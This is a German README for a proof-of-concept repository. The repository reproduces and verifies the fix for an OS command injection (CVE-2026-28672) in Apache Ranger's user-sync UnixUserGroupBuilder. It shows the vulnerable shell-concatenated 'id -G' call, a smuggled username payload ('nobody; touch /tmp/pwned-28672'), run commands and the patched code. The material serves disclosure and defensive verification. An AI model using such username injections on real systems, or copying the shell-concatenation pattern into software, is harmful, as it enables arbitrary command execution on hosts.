
Proof-of-concept-Reproduzierer für die OS-Befehlsinjektion bei Apache Ranger UnixUserGroupBuilder (CVE-2026-28672), der die Schwachstelle demonstriert und die Behebung verifiziert.
UnixUserGroupBuilder OS-BefehlseinschleusungAusführbarer Proof-of-Concept zur Reproduktion der OS-Befehlseinschleusung im User-Sync-Modul (unixusersync) von Apache Ranger.
Beim Auflisten der Gruppen jedes synchronisierten Benutzers führt UnixUserGroupBuilder den Befehl id über eine Shell aus und verkettet den Benutzernamen mit der Befehlszeile:
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
Der Benutzername stammt aus der konfigurierten User-Sync-Quelle (LDAP/AD oder einer Datei) und ist daher vom Angreifer beeinflussbar. Ein Benutzername, der Shell-Metazeichen enthält — z. B. alice; touch /tmp/pwned — wird als OS-Befehl ausgeführt (CWE-77, Unzureichende Neutralisierung spezieller Elemente, die in einem Befehl verwendet werden).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
Erwartete Ausgabe auf dem verwundbaren Codepfad:
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
| Eigenschaft | Wert |
|---|---|
| Projekt | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| Klasse | CWE-77 Unzureichende Neutralisierung spezieller Elemente, die in einem Befehl verwendet werden ('Command Injection') |
| Angriffsvektor | Ein Benutzername mit Shell-Metazeichen, der von der User-Sync-Quelle geliefert wird |
| Auswirkung | Beliebige OS-Befehlsausführung auf dem Ranger-User-Sync-Host |
| Betroffene Versionen | von 0.6 bis einschließlich 2.8 |
| Behobene Version | 2.9.0 |
| Sicherheitshinweis | lists.apache.org-Thread · CVE-2026-28672 |
| Entdecker | Andrea Cosentino |
Apache Ranger 2.9.0 führt id direkt als Argumentvektor aus, sodass der Benutzername ein einzelnes literales Argument ist und niemals von einer Shell interpretiert wird:
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
UnixUserGroupBuilderVuln.java in diesem Repository enthält beide Varianten wörtlich, mit Verweis auf die Upstream-Quelle.
Dieses Repository wird zu Bildungs- und Verteidigungszwecken veröffentlicht: um Apache-Ranger-Nutzern zu helfen, die Schwachstelle zu verstehen, zu überprüfen, ob sie betroffen sind, und zu bestätigen, dass ein Upgrade das Problem behebt. Der Payload ist harmlos (er erstellt eine Markierungsdatei unter /tmp). Verwenden Sie dieses Material nicht gegen Systeme, die Ihnen nicht gehören oder die Sie nicht betreiben.